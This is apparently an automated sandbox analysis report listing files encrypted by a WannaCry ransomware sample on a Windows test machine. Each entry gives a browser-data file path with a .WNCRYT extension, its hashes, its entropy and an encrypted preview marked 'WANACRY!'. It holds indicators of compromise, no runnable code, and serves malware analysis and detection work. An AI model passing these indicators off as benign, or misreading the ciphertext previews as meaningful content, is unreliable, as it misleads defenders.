                                    MD5:251FA867CEC52765B6DC3F1B46B3114B
                                    SHA1:3F04E159C9DB576C7A1ED30435A7380165E5B9CB
                                    SHA-256:FAC2A1B6F38F3187F2F52AAA3094EED096C895E94A7F856E631DC7842EBE2042
                                    SHA-512:79052EFE860B4CD99D296E7309EFEFFE774274E5712F50D62C86658A3EC40902DE6D759094B6BF796D75C36E72386434494A7890708A7AEEC9D46EB396387444
                                    Malicious:true
                                    Preview:WANACRY!.......D....E$.:.2J.H......-...?.T...cv..>......X.9..Qx.a.wp!lN.A.@Ro;...)....C.Bh.........w..0.(..N..z..... ....fbV.....f..'.y.*)...."3.L.().....g.\.U.O.cUM.x.$b".(>W.`.utdd>..D|BL...ct........[....L.;.c.q...of..2'.Y..._.r>.....;........<..I.......e;{>.............5..{X.!.DM.?m..C.{.....?...{Z......N..7.x...,.r.uW.....v...^./.1.n..s...5...C...S..g..:}u.e0.."..H.M..}2......'..+m">q.O.....l...{G.....I......I.u+......5T.[.....$h.4.-kxyv..f1'..._. .|..yZ.u..Bo.4F.D...j.EZ]4.?.I...(`....S.Y{...c..sV3.a.d*Sk...h..%@B.....R.Y.._......Q..*H^% ...<0VY....u...X....CF....~U,.S.....`.'i.....-..:.g...;rs5[y...|I........Q6..c..3..$D..D.b H...\....u..O}.{...H.........U^....o8...w.B..S....-.....z....r...{....-..7....z.....a.|....WM.......6.:.~)....D.....Q.Fh_H.pD.w....1...Z.....-... .G.....0"X..9{...j......2....-...o._.."f.Y.nO...5......m....`./1p.....t5.FYRC.....\3.4..M<.A<...i.a...d...N..|.FvwX......l(..#....+....{f.+ee0......M...&..4..h-...1....

                                    C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):28952
                                    Entropy (8bit):7.992796888186533
                                    Encrypted:true
                                    SSDEEP:768:Ky0UtT4FjcIyE/GPo0Wu7ylD+ZpumITWXQvY2Y/:KgtT6nfuPo0Wu7y+kmK4Qs/
                                    MD5:974616FE18AA858D1D5E7B681284DB58
                                    SHA1:ED803A9DF576D74E04A08C8B0F127C5E1E1B09D7
                                    SHA-256:DE2CC8ADCE32E6D9AE6A46D84311BCF7ACD1AD399DC738A0B508F6B8998D1696
                                    SHA-512:B0ADBD2B87F0CD49A4F0CB74F265BF4A07F7B8D67B1A7FDB2685AA928D00B01B276B709B730E9DFE857595076D8D9EF8D3ABDB6E3C4FA86EFF28B254D26754F8
                                    Malicious:true
                                    Preview:WANACRY!......".@..].Z..u^....D.). a4.&..&kcV....W3.p..$3.%...GP..Q..p.fLM?P%O.C:kx.l.R.S.q..n.9.LB7.....xB.M...zB.t.`.]%=....?$C/.. .P..B.1.D.).v.P.....<.>i..K..._..6u........[gX.*g!.'.....oU$.......`...t.....b)...2...r>..._...X$.......{.W.....B.#.u....:.C.....p.......o=........1..'...h,f%..2...h.j.i..N<BP0.F&.^.....$.;.v.1G5..y.A..{p.../....c..T...A.......O....d@.S.M).w.F....N..--....<+sq....?.[@.......7#...rM.:.c61h.N..68v.yg....-..9.m..V....2.#m..-.>/9...Y.[l.f.^......,.......e~...g..B....k.,.3...g.o...Av.1.]..c.&.{..x..8&.7.CE...J.j.......0T/..2..J...Tq.%U..w|...!..m.od...>h%..zpt\`...T..fZ...Q;{......./.S..".<....! x.`P..y.Jta.5.....#.........c..^.O.N.d.0t..kg..J..#j.wa%L.A.K#Ty..C_....}.\..B.E.,.o"......<.OQ..'..yS.x..A..F0M....y..M(7../..Xn...3..f..4......q.....N..G?.lV.1.........w.........\.#.<..!.`D...(........$.<.^!D\.....s6...Q..tI./......!...Y.t......m...dc\.%.o.:.=.kBJ........(.Y.(........0..6..d5@...{....RS%M...Q.....

                                    C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16664
                                    Entropy (8bit):7.98852230775265
                                    Encrypted:false
                                    SSDEEP:384:/IOdMOzl7NG8cgDqrqcS+63m/2MMrdRnAaNRS1Zyi:/3zzJerW+6M+rdRnAiSp
                                    MD5:E9D4BF5FAB67CAEE1CB0F563569950D7
                                    SHA1:DDE5874F1F517B8637B7E94503E1F05A30D2BF84
                                    SHA-256:F4CA998EAC8D401EC9940C9D2F58944849F74D40DF19C86FA4CEECCDDEF5566E
                                    SHA-512:E242B019499AC6F5AB569FAB9F330990B3E0565B1E60582100B0DE799C248858227C1C9F834AD0D6F5F21E50965347B504F1548767FD27A596CC02F1B6C76F33
                                    Malicious:false
                                    Preview:WANACRY!....mF..W.8.b.s......s&..*4J.5(8_.."Gy.".E+.}.Jd~:..x.HD8..To.hSK....[..c...k.&r...f.H.%^}....=I~W..Q=v/..1-%..h...U.d.c..c..u.7.._b.r.VZ...Y.7..]2..'.`.......X......2].C...e..`..$J@....@~...D..y..>:` *<.|XG...R!;...xG[A:K{(..;..m-....|.....3.l.$.-.i......@...............G......c,.2`..x.e5..........."...e..,.$9...U.+...{...bz.([.C6..4..J..Px....r.?D1EDh!...o.>...d~.........(.8...S.d.......|.....tp.D..5.m..I........^.[#}.|.=..9.)T....%.......m...5....a8|..Md=.x.s..h....jB........~...S..<.n-..]E.(.7..........H..K.@....P.4+.........H^..s.'....q.>..<.}.i.....H"2;..1#..u..k...t.....Ko.Wl.l..n......A..w2".mbm`...q.H.J.......9.Vn...R.ZI!l.. j....I......,rB:y{.sLi.Y....U..N.f~<n......w.?.`.UG5(v.yc,...."....*...|..HZ....j.+...@jR.....k........+......8.HI...Cv..S...Z.uB=.S.I[.......C..?d..Z..l....'...mUJ......_.......cl.x.......>.......d...gJ.].).R%N..............)d..r.....&...I.S9T...O..#..;..OQC...{...H.=.y..ejr...7..q.?.E......Te.....

                                    C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):49432
                                    Entropy (8bit):7.996484524984964
                                    Encrypted:true
                                    SSDEEP:768:wnA5x0rG7pQnkzIpu5jtR1jDbSghu9XE3iUp+o2gwgob2suD27/8M0FREfz:wnAH0676I5X1D1ha9U7jwb0DtAL
                                    MD5:E1CD9984B8572741F976CA04A94A34F0
                                    SHA1:AE52054F1A3F04020B802CAD440E7165ADA1AAC8
                                    SHA-256:DF8187D1A890A9A68B0B81974A9B75FFD3EF0DB2BC029AA99BE59BFAD55E6ED3
                                    SHA-512:2BE59F2B84AA089ECE574B4811F8BB0C7BE1A90FDF790B9655CB77168187DCFB7D61B1C054B8E9669B97688B1F532D87BE04B2A9B2426A308E4C243B10BFFE1B
                                    Malicious:true
                                    Preview:WANACRY!.......#J0' ..c...X......1..S.]k...u...'m...D...; ..f.Ykg(.`.u......N@b....Y8.....r....... .{.x...OmJ'f.2oG........D...~...w.<ar..v.SX.....y...Z:.V.._x..@u.L.V....6..J6\.....U.8..2.......=Et^"#...F..sI..9..8.g..:C.TW.Y>.#A.\;...k.Ui..=I...eJ.m.r............x..^..]W:.{..l.f;sBdG'.n ....tP.M.o..r..d.%.......7i.@U...XU`..}.Z.w. ....f...U..n8...\.].$..o&....!.n...w}..#....DT.b....V .M.......ab.t.o..3.".......}.[./.S..K...|.aM..c.kaC;.....y......v....w.w..........."e.6hF...q..q....o...F....*kck.........n.......Iw. 4]..0#S....Nm.byv; ....S...A........C..2d...3Q..."HS~....p.0..I......5)5......Wf.v..C.... ........c....0^G<.N|..N..,kE.x6.P..l...t...w.~...Q20 :n.qV;.c.|...Lg....P.....m.W..1..}.m.#t........a.toR.T.q)...@..4a...i.$..&..A..3.,\X.U?.%.e[t*./....u[a<@.......@@$E".!.Q.1Z..i.u..y.j"..V."...$}O.....9j.`Z(.g...e.G.R~hT......:f.m.]..Fg.!..<.......$d..k.6...2$....|qF..H. .>1<...N1.I:r.?B..l{^.7.b..QC.....Lx.dy.....l.K..H.{q1xx..E7..

                                    C:\Users\user\AppData\Local\IconCache.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):11272
                                    Entropy (8bit):7.982313302504422
                                    Encrypted:false
                                    SSDEEP:192:zTmZlj4+8fTP1AhRPOQnNTiu1JrBaqTjeXOA:zTmZEfr1AhkUoEvjI3
                                    MD5:6738A30D7CAB50488D4D7D1E34E82467
                                    SHA1:0583EC35E7CAF31A0893ED033C02519341CFE46C
                                    SHA-256:29679690BB9B5257FECE2ED57141A22EAA4AC78179BC5EB06964F82F87FD9672
                                    SHA-512:F6AFA8F52654583C90513641771360652F22340C560AEA0E0DC31436C460EAD95E958E7ED802B0B59305BFD767921DBB32280A58AFBB40E5250A935120164F55
                                    Malicious:false
                                    Preview:WANACRY!........Q.:.$.w'..(......C.C.........{.a.[.....wT?H....d.+..x.N...|..e.7.f....J\....^..N\.n}....r.wO...MJ.x...{-...x)..=.b.....s..E...s.)...l...8..=..."...I....K.p....S|..%...b..Sq.:C.Y3.3../....Y.....s./.l#..po...<....ZzFJ...`..Z..."5m..!.....*.........~.[.b.........r.X.}.........6..D...':......M{.T(n}..V....!.....Y.WK....d...w.....xj.L..{.....-..V;....B.t./....=h.B.KEQ`N|=...h.2..:j....."..%WP...i.!..Yz..3in-.g.>.....w&......{..l.].L..V_8.x...v....V...f`.&.kQo;M...!....r".2.|u..x.@m./..05.d.r..........L...U.p...d17....T...)XAe9.s.B.......f.f&...-H>...x={ ..|..0k.sN.$.p.P.....B.u....}.....9...WD.*..P@.a..l.....'w.9...Q~....wo.~...........:..........T.j..u.7*h....k.~!.'i.........Gl.....orb.7X_se...T#u.ko^..(:.5J.....9yp..\.ff..4H....1_[...=....o..r..+.Uz!WVz..}~..%...[...s......>.I.Mo._.M.....K...a..g..x..!.R.....o....D/.'...QA.......}.Q.-}P9....".Z.$..Z..%[#..Mf....... .Q'.g0...>._..>m....".z.e..^...'..5.wU..{...J....].2.7..

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):33048
                                    Entropy (8bit):7.993238205542305
                                    Encrypted:true
                                    SSDEEP:768:KXdhm1/qsYyJEri1+V/Z9ez9ztN0Xtwct13si3It7G2R:KXdha/qQEr+ge5kth3dYB
                                    MD5:0FFF9E8239495629F00F1713A8090CBB
                                    SHA1:4F92F37776272A33E4C411C8F96F8A5CBCFF0187
                                    SHA-256:8F6C74D0FA980333E3C9E8C3ADADBCA993B1614A9DB2BECAC8CA9134D3C9EF45
                                    SHA-512:4A3001D1E95F5B5801DFE1E7FE695469CCFBDD5E2DF8B681B4281550203EDB42F4EBAC2BCDDB49AB81762A2E86F6048687C05EB48666CF53D0F80422EDB349EA
                                    Malicious:true
                                    Preview:WANACRY!......0..s.{...,.h..6/.....m.@e..;.0..3L.....8.(k.....w.[..y...4T.z.....o.B.,...7f...{.ZJx...:...G6_.|8.....g1...Y5.:...P....]....Z.z..k.h.r.....h.Z/.L."#..tx..B..myX...||....I.r...0.(......[....V.....;..?..]..6/x\.......&.[#/...w..2.....=.............!.. ...~..D[G.F....I.C....<.......wz`=....ED.....A..q.q|a__......{(....D......V.$.y.d.WX._.p{.o.*.V.$Mf._.@.l.T..>..h.$."9".-...ql.....|..7).>.VV.....+...c..eZ......s..;....+U.._i1.N$...3&.K.D....J.p..pt..&!X.<1AB..@..Y...~K?..&*....~...]....O....kg|.qv...pN.X..l..O...b..5+..v.).,..JeR%fv.j.?..s.X...[.*......9ZL..m..Y...Rd%...X.:.....".O......J@."...V....h&.}........PV.e.uPfQ.T....-...Dj......3.,N*%...4.a.Me^.Mk'.8....K..N.-.je.J.M..Z.....\..p-CMm.O^:.I...jk.y.2.B).'.........&.9A..$I<...(..aRMG.(.w.....$...Q4.Wso.....k.%....[4..F(l.a........8.....q..+LD\AI4.....l.H.MlJ.zY......\ 2:.{...`...^p..`.l/...!.s#. n.A....T...w%.N..v...{jh.#q....<f..FZ..T........X.x...E...$...M..

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with no line terminators
                                    Category:dropped
                                    Size (bytes):8
                                    Entropy (8bit):2.75
                                    Encrypted:false
                                    SSDEEP:3:bkEn:bkEn
                                    MD5:C994679248ADFD2CB1B207B3C898D58E
                                    SHA1:FC682740AAB3AC28C3A8757BC97F26A861721922
                                    SHA-256:1D67CE2DDE5A9A39F4D64685FAA6E33689920F62E2ACB8E5DB36ABA750B3CD89
                                    SHA-512:60DDE3683BB10D9AB813687B77EEBF9C39AB807D31EC162B62B0AFF3EB59D76108AEA3A64C77919C5287AC65A3F85D02107103204F4208200A1E89F27CF79F1A
                                    Malicious:false
                                    Preview:WANACRY!

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16664
                                    Entropy (8bit):7.987433004454613
                                    Encrypted:false
                                    SSDEEP:384:dnn2oQ0kFOaC5dnBFLi/EWA3DVvOfpeAgfsB9oD5:HQ0kFOaC5RLiM3Dwrg0B9oD5
                                    MD5:62A8C3CBAD0E4776CB336232535944F7
                                    SHA1:1E5CBD7995D1A80D9D183EE9B56B8CC9EF0E418F
                                    SHA-256:CA7B774493FD86E7966709CA283B63A7161B7541DE70649DFF574E0808A28D2B
                                    SHA-512:DE6E923A3B3781CFFF1914EEF5CB0B7B5C58A2BABE74731F558F98C3FBAEC85D99EBA9EFDE49986A2823EAA5E84F806E70C5436B58FACC62BE94DB56F807FBFE
                                    Malicious:false
                                    Preview:WANACRY!....;(..#..........q...5(.....d......-...Y.}..$........z+....PY,....n.|..>.T3f.......)..<..x.>.m....S.3.......t&....Xo^J.}(..*..&..RS.....Q.2...f...rvi.!.I%.B..h.v.vT...6..\.'%.2.]e.0.g9jMO9.....B`#a........~.O...9....,.l........q\..kR.Fe.5.....>B.K"r.....@......"N.D.J....i.9.X..F.&.4.....2xtOM.....G#.w.?xU.l)5...I2.X....~.Ou...W..v.V.d........M..+....}.L`Z........L'.Y.j......"gN...SB...s..A...~..`..wX.P..&R.t....2|_...N.\...y.Hj...].:%f.5.Wy.Zt!vQZ.].e..x.:...(.oN..b.P.....f.k..%...>c!.J...#.?...S..(....8._.Q1z.p,P...p.q.i%I.^..*D..0.x...Rj..e..0..9.g...^1uGD.M...y.fjiB1..s~.%...<c...[..."n^>....70........]......M....z.1._. %..D..#Ns[^...j(.F~.nXT\..=..e...K..~~su..2..`......[.Rq....qW&...ZLk.$*._..|:jQ.lC...:..U|.M..J....e6.p,..}#....x.?..v.....;f z...!.g.$..Bwj..y.>.r...2..{..04[.@3h...:...{T.+......o.W.}......a.S.].....$./[._...w..CnP.+7...'...k.-.'..i...]$....A.;.....m.i..0v...R.h.I.I....d...2..V..e..(.<3fW..<. 5..}. ..Y.q.Wot

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):4376
                                    Entropy (8bit):7.960935025543315
                                    Encrypted:false
                                    SSDEEP:96:oHYgYG1ErOhWRG7FBDV/EFhlL7agYu342ewMiadRImWmXP:WaEErOhagFhVsFrtY4T9MHCmXP
                                    MD5:D709C9127F03D28AD3911850345D0C21
                                    SHA1:AF8F1A3F8F49E26E74AA64D3A5BF336980729235
                                    SHA-256:AE825FC1628FA3B35F469386A675B962E3C1EE949D6FB951412A7E91A930B8F5
                                    SHA-512:34BF2A92AF5E90755B693E9283DA20B0AFBEA1D897D580B9228C8FB90FD33B49D1DC6B153C92BD55913C197B203FA346B1E029662CB6A6791CE2A03A5A0B3D04
                                    Malicious:false
                                    Preview:WANACRY!....O(.....,.!...ID....+...7.Bp...vk..fx.."..=UV........=*C.....,...3\....."N.t.:7.1e.$.}..._8\.Cv..M.......nv:@.=..)T..j..*....1..#..i.{.b...@Y.=....;....D?.5..C..(..u...#.q..Z>kp.X.!..v.g....Z.M...w.... .-..8$Ae.hQ.T9..T.;(...(.JI..K..[.la..f;C....2j...................F.W/l.P6V.B...s=.r.+......f..3.\.<..b.@j.Q..S$.......>..JTM?.Y..-H2...M.E(.!.g......fc.`X{.b.a.....D..p2a..{..Y!....p*r.9..+.CO.j..`......i..9......2,.W.3...kD.k....X[........4w.v>.Y..Lj......#"g..._..E..n'Qt.....D.Gv.t@.Q..O..z....K..D.f... ....*h?.s.?b....{/.C....R8.n.H....K..8..... .N.2L.x.ies......q.Z@....y&P...T@.....J(.s./@..4..x.ovmD&..u.Gkz0.9~.>.[...(..P.{..Y.....%l..W.3..G....(r...g ...M.q..\.#..c$.lf.....eQ.s..J...9.\.;{.~...mPR_<b.I:......|...2..5N..c........\...azkZk....9..rH+g....l.^I....S..yi~... .....=.v..H.Dx......r'yP.vV.wW3..~g...06..v.Df........ .%...!j.kzO.wYH..G............m...2..{.u...,k8..;B..L.P.....C.G....3.H..y.j......./d.7.......

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):80488
                                    Entropy (8bit):7.997925605741852
                                    Encrypted:true
                                    SSDEEP:1536:V4Z9dB8CaT+0ox9Df0S3+zVqC6m/rDS90TCjF4L7nLiP0KW/MqjSiW:V4jPu+lE56AS9teLiP09MqeiW
                                    MD5:CBDF048793A713E134E72680A39BA0C9
                                    SHA1:15358501877F9E94CCC96074CA14CCB14098F168
                                    SHA-256:778DDC1E5EDFCADDC9AD13F36E2A892C48950D2237D01315833B96080FB74466
                                    SHA-512:D6DEB189E622BAC861DBFB9908C116DDA2B94E8850695C5243D6DEC2F5B519462770ECE80BAAAA618F9C7DCCFB18DF5E54707671F59D24E5C4DA4244C07CE5D7
                                    Malicious:true
                                    Preview:WANACRY!....[.^.e..>.j 5\..(..W..V......5....@.^..~.#........q...W.:..-/.e.V...8..,.....e...q...t..W.s~.@G~ .....>.De9j[.D..8[..3K.lA.g...)g9|.Km.....Y.......$...8..].X...d.zV..w;^,...)w..h.X.iyc.|0J$...cjzt.7...u=.y~.aA./!%.....6b.K.h.Qu|..c.p...!..r......D9.............9..a`&.-..<-..IbA3..-VT..my..W.U]...]t.E.Q..R...t..Q.K=7f..%..>33.....r..+.....N+.v*...E.z}.p._.H_.z.X..Fg=.e..4...]..o..(.dV....c"1....8...2id;...S....?.k?c..OD.....L....M...xo./.k..>p,#...L11.9..(.k...Q[.7`.>..PUb.%..W.V.<.P.~..3..8.."..,.....,.>.6,X.N-...f....&.....).i..:...X..2.np.........M_#.....f..#.j...|..F....3%...f....J.el7.c..Q.jgU. lb.nD...E..8....W..=..(.-..vm.t.G.yvx.7.\M...D..W.Bf.ePsp8...A{..-p....m.........G.......ai.R.(.=..3.K.2..mZO....)....Gh.&D..+".|......J...Z....f.Wl........K..:.U...."@..9....=.B......@.<.&..v..7)....<.<...-.N..3A..H.v...'.C.o..s\.......or...*........V........{...`PP...P..n..kh.ZJ.8.1+...cm..$.YC....E....|..xJ...N........#.s?...Z.d+..

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):11848
                                    Entropy (8bit):7.985699247587505
                                    Encrypted:false
                                    SSDEEP:192:Gr0U83xlUrlrYUwPpLJlGe1yvK5Vfc270FxqP+h8bbbiCSGZP9MP+TpfvrRrh+Wo:Z7U9FwPVPwKfc2YT8+ej8GZ7VV+W0J
                                    MD5:001A18BC5BB8A27DD739F323511C5728
                                    SHA1:23C65C7D8100645FD496E7F2379ECC9DB4832EAD
                                    SHA-256:882B3345041A8EDFDF03065D0095EF7AC984CB8DD24D1110DDACA1652614A39D
                                    SHA-512:FB848592849F9D2379FF8D98367DC20808ABD4F47518D2076B7CD24A2EE1D6596C7E8543B4106F8931455B6130E39FD927561B854F0D9A0F3BD0EC8D13E347EE
                                    Malicious:false
                                    Preview:WANACRY!....8.....C.$.xu..&d0..SD..y.u..s...`..C..X...U...3e%.^...k\..me<c..W.3..=.D].I...B-Ag..x..R.Y......t...L.`.....T.~6l.Z...._.L[..%.ZMl..G..K.k.8.?j..h.,..#\.j.b.h.....-...|..W.^.p....l|.?.4I..J6F..T.....it...I!.4.. 8"D.....,.t...Qf..e.@......./-......E....v..rt.....[w..m$.x....#.R+.f........../.....A..Q.D....pv.o.`m...X..zY..t.f../vB..R....p5..+.+BF(-..&.)3..'.......;p.......x}.G.@...6(4.M..V..J...%_~...{r...^g..s.c...CTM..5.....Tbg.'..nS...LZ.vZ.7$.`"Vr.S.."...q.p|h.r.@R..q.a*w.\..=..U.rb................<..R......?ct"Z...0......'...M..\..!.....6..et.fu....R.1.H.3.P.*..[hE.x.... ....Z.%x..8.C:..n.X>...Uk..st..'...L....uzZ".$.....t.j..c...G.8..19.....6\...k.n.Y.......jt.-n.|.|~.....p.[*..f...'.L.........Y.....OG..*.!E....w#....Cg.S.5 e............y...(.{..s.?...OL.6..8...6..x..\..m..]].C..~.5.....)b?...}.....a.....&.M....O.uy._#.z]?T.y......I*.q.Ls..M....G....=a...#../'.^.0mup.6#..Yg.Zn%,u..+......;...i&7.Y..a.nj.

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1681000
                                    Entropy (8bit):7.999899690691213
                                    Encrypted:true
                                    SSDEEP:49152:ZCTU6uvdTbQ2fdgA8E3q9XZu2Ke2+AEVYDJZoAWXpoTkF:ZCLITbLb8nXZu2Ke0EWZoNpgi
                                    MD5:09ED3D5825F2E656F0583EDA8E75F6FA
                                    SHA1:32800ED6AD9C17DDAAB5538A1292803B5DA34FA6
                                    SHA-256:FC01A55098285DB7D795F2BC7615E79AFDD882C2F91684ED779F3B07C12A44C2
                                    SHA-512:F1CB0A0E4E33D262DA83693A77473945E6A81670A9E1AD0F8B516B1016091FDF0F2B94A04EC6A267F190D20E9F9774389A29CBF7B4756EFC9A5DD02EFB0DE7FA
                                    Malicious:true
                                    Preview:WANACRY!.....#M\8.Z......+{m..T...qz;....E....\....A.Q[...'.......<...!b$x.!..q.....hZt...9.6...8U....n.$....}...........?.4.3??R..<$D (.-z.v.DS..|?..u...-...1..].B.>./[.X..#v.D.........M.U.....~..>umH..e.X..A...X...`..Q..^. ...>..:2...lr....D..J......O.[......K........1.;H6.1.(...1.].....-.6.......~.`Z..W.HI'%...j......lj.c.8.f......;..f..,.)?w}.o@..Z9b..!..h..)r..A.]........?!.3ZB*...W...AH.?.B........Y.......;r.4@6.5+%a.PTE..\:. -..Ju....$.O.@..S.z}u.B..t.......y....[.B..p.`.{.d........*V9=.. ...Ki.sb...r\".x....u....q.L.V.,..n.5.....T..8.O;.4..R.Vd[.d.U...C..Y.5[..h....0.r.$..V..a.q...`<.....r.g..&;...wH)+H....;.(..r@.i......X}_.Ae..n....}.).:...EO...P..E.;...g./...e.y.B...rY...zT@t.K.}.".`8...=.l?...........s.7.v..Sq..X..>9..7.....+8.......s.......i....N..8+...2|....`.Z...lE...dG9..7..zk..c....R).aA...p..G.z'.?.........K....<.O..<.^.5.(.*..Gf.k...c...=.%.A..wV.....+YiP=$..S].M`F.(Og..>..u.A....;2z..G.}'.....n...`P...}.u.......5NG. T......;..K.

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):988600
                                    Entropy (8bit):7.999793951844814
                                    Encrypted:true
                                    SSDEEP:24576:mQaFLGikANcOw9QnPDZgtu1t9540/GTJwez2VEOt2A++93ic9:/gGQNK9QnPf1ySGTdz2VEfA/3H
                                    MD5:A516ADF985F6D29A1E25256541892387
                                    SHA1:E88AFAD16A96EFA52F32DC21BBB93B921870A53B
                                    SHA-256:037245C95576C5F409A261F7E4E66C10934C005114EA72513A816805B681973D
                                    SHA-512:E0A9F11C41D642A75180272DC97B39B3987C78748B737770F04A7E63B282BE26A2CFBF034CDF244C91012D3A259D4EAB524840DA7BF0C41C1F27D67097045295
                                    Malicious:true
                                    Preview:WANACRY!....+...B.f.Z..v{..W.>'...Y`.qT6..S..3......h.o.0.........]x......D..Hr..4.?K......g...j..........\'Z!....8.;.........+z.GX/pF?.....$.I...l.....j..d.Q"..0.O..M.........G=..L.s...../..J..?.Yd...U....J.....8...K.<NY..........X..l9.....E....F,.j...................RE*.L9v.Z.x.w.h...g.....;i..m.P.`.V....idV.'o.M..I.~..s.....$.:......$.F.v.89>....9.H.H/.9..*.U.........*s..NY..D.`.LI.K..x.6....3..R$-.w2$..a/.ot...$.Y.};l..1.pcs.."@......'oU...<l..$z..!.HM&....2f..)$.V.C9H.......j.^Y......7.?&EB...%6.....kE.V.y0c?..[.....u1...5..v.qu5..a'-..n........:dy.....F~m...a_..B...Sr:..l<.hdZ...G.......2.t{od....zE =L..a....5..):._O.Ly...)>.).EE.<!F9.9L>.Q......1.A......F!;........................[.hi.E}..4.7...%1Jn}.$..W.5i.e.i..<...3.8......~(...m .!V!........Rk... ..gq+....u...Pk.<...H..r.c^@..dZ.`]oiW.X....s...T..6.I..,......cW3..v..a..r....;..u/U1..?.........AA_r.\y]...f..Qk...O:..V&B3...&O.M8.....~.?u.s.K....i.s_.............ebe..J..5....+..m.S.

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):5653560
                                    Entropy (8bit):7.999965271525519
                                    Encrypted:true
                                    SSDEEP:98304:1J5wL98Ymp9qCr6mML97bJ7uplQlCJ2zENVEu4jM8J5jcU0To2loMc:75Uw9D9M5HJcC02zc4j1Jm5U2lu
                                    MD5:93DBA5D14B99631D0D22B725AD99935E
                                    SHA1:EDC1ABDC787C3628E4F4ADE1E8BAA8CAC48C2058
                                    SHA-256:AD9E64A487A976A515A88A47BEE75CB5B19FFFCF220ABB36289E332786AC23AB
                                    SHA-512:DFDF467C079178BCC5C478EFFA172A1EF3BB56109AB3281B867C493E6D8B9E19654DC934E9979035926E7240B546C1E70EF260408B1DF8FBBAB47219ECB04EBA
                                    Malicious:true
                                    Preview:WANACRY!......B...*<.f...b...;......J.|......LI.),....g..O."'.oGHka?..F.);.P......-....,..QZ,m....`....:Z/..UQR..o......$..JS..._..._.....H.:..v.3O.yXG....6V.a...%}~1@...........4).7*e.F.,$..........[{"2.F..Vz..c......~....U.N...<.aU\/.N.d..A..e.i... .....CV......*Ao..a..*l...L.....j.]..;.*.&...I....BS..~.o1=...9cf&>.....?V...,|.Z.l{..[.....w.m.3..+.56z...y....eWh.....7...,...................Z.V}..$....M....X.g..APt...8A."..&Cz{....{....1.ro....{B...T.=E}...d.&.|..^..../I.]O..Q1.....+Y..<u....?.0q. t.L<..I.........b..1...}.]\.....;Jix3~...-..i.2K4..S.....T>.Kv7..6..FDp.E...D....~....F4....f..uk..Hq....w|...B.n2L.x..~.6 B.E..%....f.a.....\..b.H..^-.Wle,R.~6.u.Z<..+#....*;:....9.XZ.P...I..d..:.J...>....ww..}..(.u...GR.W/E,...x......T...+.H.a+".......x.lj..M...h.........Z..........U..W..8.l@.q..0V..E.......l]..E..EP....d..,.`q[#k.;M`p.eg....Lz..../......i.A!_6..P..A_3?X6.2.hC.^1...T.!e.v..U.X....S.........ei..k.`.s.x.Y.\U.

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRYT

                                    Download File
